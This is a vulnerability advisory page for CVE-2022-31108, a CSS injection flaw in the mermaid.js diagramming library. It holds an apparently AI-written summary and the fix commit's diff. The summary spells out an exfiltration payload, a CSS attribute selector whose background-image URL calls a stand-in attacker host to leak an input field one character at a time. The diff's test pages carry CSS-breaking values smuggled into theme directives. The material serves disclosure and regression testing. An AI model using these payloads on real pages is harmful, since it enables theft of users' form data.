VYPR
Moderate severityNVD Advisory· Published Jun 28, 2022· Updated Apr 22, 2025

Arbitrary `CSS` injection into the generated graph affecting the container HTML in mermaid.js

CVE-2022-31108

Description

Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-inspired text definitions and a renderer to create and modify complex diagrams. An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. This issue has been resolved in version 9.1.3. Users are advised to upgrade. Users unable to upgrade should ensure that user input is adequately escaped before embedding it in CSS blocks.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Mermaid 9.1.3 and earlier allows CSS injection via diagram text, enabling data exfiltration through CSS selectors and HTTP requests.

Mermaid, a JavaScript diagramming tool, is vulnerable to CSS injection in versions before 9.1.3. The vulnerability arises because theme variables such as textColor are not sanitized, allowing an attacker to inject arbitrary CSS into the generated graph's style block [1][2][4]. This injected CSS can affect the entire document, not just the diagram.

An attacker can exploit this by crafting diagram text that includes CSS selectors targeting elements outside the graph, such as input fields. For example, using attribute selectors like input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }, they can brute-force the value of an input field one character at a time. When a selector matches, the browser attempts to load the background image, sending an HTTP request to the attacker's server and thus leaking the character [4].

The impact includes information disclosure of sensitive data from input fields and the ability to manipulate the page's styling or layout, potentially tricking users into clicking malicious links or performing unintended actions [2][4].

The issue is fixed in Mermaid version 9.1.3. Users are advised to upgrade immediately. For those unable to upgrade, a workaround is to ensure that all user input is adequately escaped before embedding it in CSS blocks [2][1].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
mermaidnpm
>= 8.0.0, < 9.1.29.1.2

Affected products

2
  • ghsa-coords
    Range: >= 8.0.0, < 9.1.2
  • mermaid-js/mermaidv5
    Range: >= 8.0.0, < 9.1.3

Patches

1
0ae1bdb61adf

Merge pull request from GHSA-x3vm-38hw-55wf

https://github.com/mermaid-js/mermaidKnut SveidqvistJun 28, 2022via ghsa
7 files changed · +155 4
  • cypress/e2e/other/ghsa.spec.js+10 0 added
    @@ -0,0 +1,10 @@
    +import { urlSnapshotTest } from '../../helpers/util';
    +
    +describe('CSS injections', () => {
    +  it('should not allow CSS injections outside of the diagram', () => {
    +    urlSnapshotTest('http://localhost:9000/ghsa1.html', {
    +      logLevel: 1,
    +      flowchart: { htmlLabels: false },
    +    });
    +  });
    +});
    
  • cypress/helpers/util.js+50 0 modified
    @@ -70,6 +70,56 @@ export const imgSnapshotTest = (graphStr, _options, api = false, validation) =>
       }
     };
     
    +export const urlSnapshotTest = (url, _options, api = false, validation) => {
    +  cy.log(_options);
    +  const options = Object.assign(_options);
    +  if (!options.fontFamily) {
    +    options.fontFamily = 'courier';
    +  }
    +  if (!options.sequence) {
    +    options.sequence = {};
    +  }
    +  if (!options.sequence || (options.sequence && !options.sequence.actorFontFamily)) {
    +    options.sequence.actorFontFamily = 'courier';
    +  }
    +  if (options.sequence && !options.sequence.noteFontFamily) {
    +    options.sequence.noteFontFamily = 'courier';
    +  }
    +  options.sequence.actorFontFamily = 'courier';
    +  options.sequence.noteFontFamily = 'courier';
    +  options.sequence.messageFontFamily = 'courier';
    +  if (options.sequence && !options.sequence.actorFontFamily) {
    +    options.sequence.actorFontFamily = 'courier';
    +  }
    +  if (!options.fontSize) {
    +    options.fontSize = '16px';
    +  }
    +  const useAppli = Cypress.env('useAppli');
    +  const branch = Cypress.env('codeBranch');
    +  cy.log('Hello ' + useAppli ? 'Appli' : 'image-snapshot');
    +  const name = (options.name || cy.state('runnable').fullTitle()).replace(/\s+/g, '-');
    +
    +  if (useAppli) {
    +    cy.eyesOpen({
    +      appName: 'Mermaid-' + branch,
    +      testName: name,
    +      batchName: branch,
    +    });
    +  }
    +
    +  cy.visit(url);
    +  if (validation) cy.get('svg').should(validation);
    +  cy.get('body');
    +  // Default name to test title
    +
    +  if (useAppli) {
    +    cy.eyesCheckWindow('Click!');
    +    cy.eyesClose();
    +  } else {
    +    cy.matchImageSnapshot(name);
    +  }
    +};
    +
     export const renderGraph = (graphStr, options, api) => {
       const url = mermaidUrl(graphStr, options, api);
     
    
  • cypress/platform/ghsa1.html+28 0 added
    @@ -0,0 +1,28 @@
    +<html>
    +<script>
    +    //      %%{ init: { "logLevel":0, "themeVariables" : { "primaryColor": "#fff000","textColor": "green","apa":"} #target { background-color: crimson }" } } }%%
    +</script>
    +<body>
    +    <div id="target">
    +        <h1>This element does not belong to the SVG but we can style it</h1>
    +    </div>
    +    <svg id="diagram">
    +    </svg>
    +
    +    <script src="./mermaid.js"></script>
    +    <script>
    +        mermaid.initialize({ startOnLoad: false, logLevel: 0 });
    +
    +        const graph = `
    +     %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }", "mainBkg": "#fff000" } } }%%
    +            graph TD
    +                A[Goose]
    +            `;
    +
    +        const diagram = document.getElementById('diagram');
    +        const svg = mermaid.render('diagram-svg', graph);
    +        diagram.innerHTML = svg;
    +    </script>
    +</body>
    +
    +</html>
    
  • cypress/platform/ghsa2.html+28 0 added
    @@ -0,0 +1,28 @@
    +<html>
    +<script>
    +    //      %%{ init: { "logLevel":0, "themeVariables" : { "primaryColor": "#fff000","textColor": "green","apa":"} #target { background-color: crimson }" } } }%%
    +</script>
    +<body>
    +    <div id="target">
    +        <h1>This element does not belong to the SVG but we can style it</h1>
    +    </div>
    +    <svg id="diagram">
    +    </svg>
    +
    +    <script src="./mermaid.js"></script>
    +    <script>
    +        mermaid.initialize({ startOnLoad: false, logLevel: 0 });
    +
    +        const graph = `
    +     %%{ init: { "fontFamily" : "&125; * { background: red }" } }%%
    +            graph TD
    +                A[Goose]
    +            `;
    +
    +        const diagram = document.getElementById('diagram');
    +        const svg = mermaid.render('diagram-svg', graph);
    +        diagram.innerHTML = svg;
    +    </script>
    +</body>
    +
    +</html>
    
  • src/mermaidAPI.js+2 0 modified
    @@ -385,6 +385,8 @@ const render = function (id, _txt, cb, container) {
     
       let userStyles = '';
       // user provided theme CSS
    +  // If you add more configuration driven data into the user styles make sure that the value is
    +  // sanitized bye the santiizeCSS function
       if (cnf.themeCSS !== undefined) {
         userStyles += `\n${cnf.themeCSS}`;
       }
    
  • src/styles.js+5 1 modified
    @@ -10,6 +10,7 @@ import sequence from './diagrams/sequence/styles';
     import stateDiagram from './diagrams/state/styles';
     import journey from './diagrams/user-journey/styles';
     import c4 from './diagrams/c4/styles';
    +import { log } from './logger';
     
     const themes = {
       flowchart,
    @@ -30,7 +31,10 @@ const themes = {
       c4,
     };
     
    -export const calcThemeVariables = (theme, userOverRides) => theme.calcColors(userOverRides);
    +export const calcThemeVariables = (theme, userOverRides) => {
    +  log.info('userOverides', userOverRides);
    +  return theme.calcColors(userOverRides);
    +};
     
     const getStyles = (type, userStyles, options) => {
       return ` {
    
  • src/utils.js+32 3 modified
    @@ -1032,6 +1032,14 @@ export const directiveSanitizer = (args) => {
               log.debug('sanitizing themeCss option');
               args[key] = sanitizeCss(args[key]);
             }
    +        if (key.indexOf('fontFamily') >= 0) {
    +          log.debug('sanitizing fontFamily option');
    +          args[key] = sanitizeCss(args[key]);
    +        }
    +        if (key.indexOf('altFontFamily') >= 0) {
    +          log.debug('sanitizing altFontFamily option');
    +          args[key] = sanitizeCss(args[key]);
    +        }
             if (configKeys.indexOf(key) < 0) {
               log.debug('sanitize deleting option', key);
               delete args[key];
    @@ -1044,11 +1052,32 @@ export const directiveSanitizer = (args) => {
           });
         }
       }
    +  if (args.themeVariables) {
    +    const kArr = Object.keys(args.themeVariables);
    +    for (let i = 0; i < kArr.length; i++) {
    +      const k = kArr[i];
    +      const val = args.themeVariables[k];
    +      if (val && val.match && !val.match(/^[a-zA-Z0-9#,";()%. ]+$/)) {
    +        args.themeVariables[k] = '';
    +      }
    +    }
    +  }
    +  log.debug('After sanitization', args);
     };
     export const sanitizeCss = (str) => {
    -  const stringsearch = 'o';
    -  const startCnt = (str.match(/\{/g) || []).length;
    -  const endCnt = (str.match(/\}/g) || []).length;
    +  let startCnt = 0;
    +  let endCnt = 0;
    +
    +  for (let i = 0; i < str.length; i++) {
    +    if (startCnt < endCnt) {
    +      return '{ /* ERROR: Unbalanced CSS */ }';
    +    }
    +    if (str[i] === '{') {
    +      startCnt++;
    +    } else if (str[i] === '}') {
    +      endCnt++;
    +    }
    +  }
       if (startCnt !== endCnt) {
         return '{ /* ERROR: Unbalanced CSS */ }';
       }
    

Vulnerability mechanics

Generated on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.